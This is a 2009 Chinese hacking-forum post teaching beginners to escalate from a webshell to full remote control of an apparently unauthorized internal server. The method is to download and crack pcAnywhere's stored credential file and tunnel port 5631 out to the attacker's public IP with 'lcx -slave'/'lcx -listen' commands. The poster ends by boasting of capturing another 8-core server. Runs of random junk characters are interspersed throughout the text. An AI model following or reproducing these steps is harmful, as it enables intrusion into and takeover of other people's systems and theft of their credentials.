|
 
- 帖子
- 199
- 积分
- 724
- 威望
- 508
- 金钱
- 10463
- 在线时间
- 185 小时
      
|
很多教程都是在外网直接连接的，像我这样的小菜没有这么好的命，我在用pcanywhere提权时问题总是多多，所以我今天做个在内网连接pcanywhere的简单教程。
k0 B* @8 O- h% o! G1 x0 k- L, i3 \/ t: H' n. d( T$ i7 d8 W
提权方法：pcanywhere+LCX
: u& ?* e) Q3 v, i3 N4 [) L7 _8 v& o9 ?
获得webshell的过程就不说了，该篇教程主要给新手讲下提权的思路。9 S# d7 C2 l( y6 c/ g. m/ [
/ A9 c3 f- L8 L: u
在shell里看了下，WScript.shell等重要的组件没有被禁用，首先在有可执行读写权限的目录，上传个cmd试下可以运行。
; W8 `2 L, v& r! i$ ]/ w/ m
1 y/ [+ R( `" k* ^, ?% w' }) n( q
7 M( c' D/ K0 u# d查看服务器开的端口时，发现服务器开了80、1433、5631等端口，并且服务器在内网。$ o# ~0 E3 {" y% d4 A: J- }
% D2 k2 w. Z8 v4 p
) U& ?0 b# U6 S& u5 y; c& \+ d呵呵```pcanywhere的端口为5631，既然该站点有pcanywhere，我们可以试下用pcanywheere提权。于是就查下pcanywhere的目录下账号密码文件，下载到本地计算机上破解，呵呵```账号密码出来了。* d: V4 X R. z6 C+ j5 W' v
2 j, B. ]( H7 b5 _1 Q, {
1 q7 w4 E- T# J/ A8 C
: W: h- v: j6 D. \ g7 m- c
1 d0 r2 _, h) {由于服务器在内网，那我们就要做端口转发，又要用到LCX啦``
# g4 I. J1 J9 o: v( H/ R, Y& ]1 D
3 K# k5 @. B, ~7 @. mLCX的用法再简单说下：
' T, w( U( A5 j$ Y
) f6 s' ]( {: R6 ]6 ^- N服务器上运行：lcx -slave XXX.XXX.XXX.XXX(你自己公网ip) XX(端口号) XXX.XXX.XXX.XXX（服务器ip） XXXX（服务器需要转发出去的端口）1 @, @ n. B( c* g8 ] ?
9 j2 q, ~, ~0 N1 B0 z( I3 g! B本地计算机上运行：lcx -listen XX(端口号) XXX（在自己机器上指定的端口）
( y- j; S- P! _3 P7 V' k! r5 h5 W8 D0 f8 f
由于我的机器也在内网，LCX 转发端口到本地必须用公网ip，所以我还需要在路由器上简单设置下。- t5 S6 n! n" T+ a. A
顺便说下如果大家的机器在外网就不必再做端口映射之类的啦``" v# ?. Y4 [* f E7 b; N/ K! L
0 q! g: T$ H- Y( R
5 ]! U3 @4 w, R5 C3 K+ I' H4 n
3 E4 @( k; N1 y呵呵``在连接的过程中出现个小问题，由于我用的是pcanyshell10.5的版本，在连接的时候提示版本过低，那我们就用12.0的版本试下。+ m3 o8 b. ]3 l+ h) a
2 ?) y9 K/ W+ b/ P
5 @7 \, b# ~4 H7 j7 J! h# d+ p1 m: n* z1 v+ h) O% \% k. Q
7 s3 R+ @4 h2 l8 q我们本地连接试试，输入我们刚破解的账号密码# ]7 |4 r7 t7 b" S2 P
8 z+ A& ^9 B9 X1 }% U+ i- y1 Q
: p7 X" m- f9 u6 _* |3 Z
呵呵``连接成功,服务器不错，又一个8核^︵^3 H1 \1 X) o$ @
$ i; @" H1 [3 a# Y! J
4 r) h; P# h8 U9 H$ ^/ G/ v) o$ y' J/ Y) z4 E! S: C7 r9 t! x) q
|
附件: 您需要登录才可以下载或查看附件。没有帐号？注册
-
1
评分人数
-
|
发表于 2009-7-5 21:35
| 
发表于 2009-7-5 21:37
| .gif)
